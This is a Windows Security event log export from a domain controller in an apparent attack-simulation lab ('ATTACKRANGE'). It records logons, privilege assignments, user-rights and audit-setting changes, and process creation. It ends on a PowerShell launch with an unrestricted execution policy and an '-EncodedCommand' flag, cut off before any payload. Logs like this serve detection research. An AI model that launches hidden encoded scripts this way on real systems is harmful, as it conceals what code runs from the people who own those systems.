-TaskCategory=Authentication Policy Change -OpCode=Info -RecordNumber=247959 -Keywords=Audit Success -Message=System security access was granted to an account. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Account Modified: - Account Name: BUILTIN\Server Operators - -Access Granted: - Access Right: SeInteractiveLogonRight -03/11/2021 11:43:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4718 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Authentication Policy Change -OpCode=Info -RecordNumber=247958 -Keywords=Audit Success -Message=System security access was removed from an account. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Account Modified: - Account Name: BUILTIN\Backup Operators - -Access Removed: - Access Right: SeNetworkLogonRight -03/11/2021 11:43:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4718 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Authentication Policy Change -OpCode=Info -RecordNumber=247957 -Keywords=Audit Success -Message=System security access was removed from an account. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Account Modified: - Account Name: BUILTIN\Remote Desktop Users - -Access Removed: - Access Right: SeRemoteInteractiveLogonRight -03/11/2021 11:43:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4718 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Authentication Policy Change -OpCode=Info -RecordNumber=247956 -Keywords=Audit Success -Message=System security access was removed from an account. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Account Modified: - Account Name: BUILTIN\Users - -Access Removed: - Access Right: SeInteractiveLogonRight -03/11/2021 11:43:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247955 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1B68F6 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:43:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247954 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1B68F6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:43:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247953 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:43:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247952 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:43:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247951 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1A269E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:43:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247967 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0xDFB45 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:43:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247974 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SYSVOL\sysvol - Handle ID: 0x54c - -Process Information: - Process ID: 0x34c - Process Name: C:\Windows\System32\services.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;OICISA;SD;;;WD) -03/11/2021 11:43:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247973 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SYSVOL\sysvol\attackrange.local - Handle ID: 0x3a8 - -Process Information: - Process ID: 0x34c - Process Name: C:\Windows\System32\services.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;OICIIDSA;SD;;;WD) -03/11/2021 11:43:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247972 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SYSVOL\domain - Handle ID: 0x54c - -Process Information: - Process ID: 0x34c - Process Name: C:\Windows\System32\services.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SA;SD;;;WD) -03/11/2021 11:43:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247971 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SYSVOL\domain\scripts - Handle ID: 0x54c - -Process Information: - Process ID: 0x34c - Process Name: C:\Windows\System32\services.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SA;SD;;;WD) -03/11/2021 11:43:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247970 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SYSVOL\domain\Policies - Handle ID: 0x54c - -Process Information: - Process ID: 0x34c - Process Name: C:\Windows\System32\services.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SA;SD;;;WD) -03/11/2021 11:43:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247969 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SYSVOL\domain\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9} - Handle ID: 0x54c - -Process Information: - Process ID: 0x34c - Process Name: C:\Windows\System32\services.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SA;SD;;;WD) -03/11/2021 11:43:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247968 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\SYSVOL\domain\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9} - Handle ID: 0x54c - -Process Information: - Process ID: 0x34c - Process Name: C:\Windows\System32\services.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SA;SD;;;WD) -03/11/2021 11:43:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247988 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1F4C62 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:43:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247987 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x18A882 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:43:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247986 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1F4C62 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:43:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247985 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1F4C62 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:43:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247984 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:43:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247983 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:43:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247982 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1F4C32 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:43:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247981 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1F4C32 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:43:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247980 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1F4C32 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:43:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247979 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:43:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247978 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:43:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247977 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1B68F6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:43:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247976 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x18BE2D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:43:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247975 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x18AA73 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:43:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248010 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1F6496 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:43:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=248009 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1F6496 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:43:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=248008 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:43:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=248007 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:43:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248006 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1F4CB4 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x46c - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd74 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:43:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248005 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x1F4CB4 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd74 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xaf8 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand 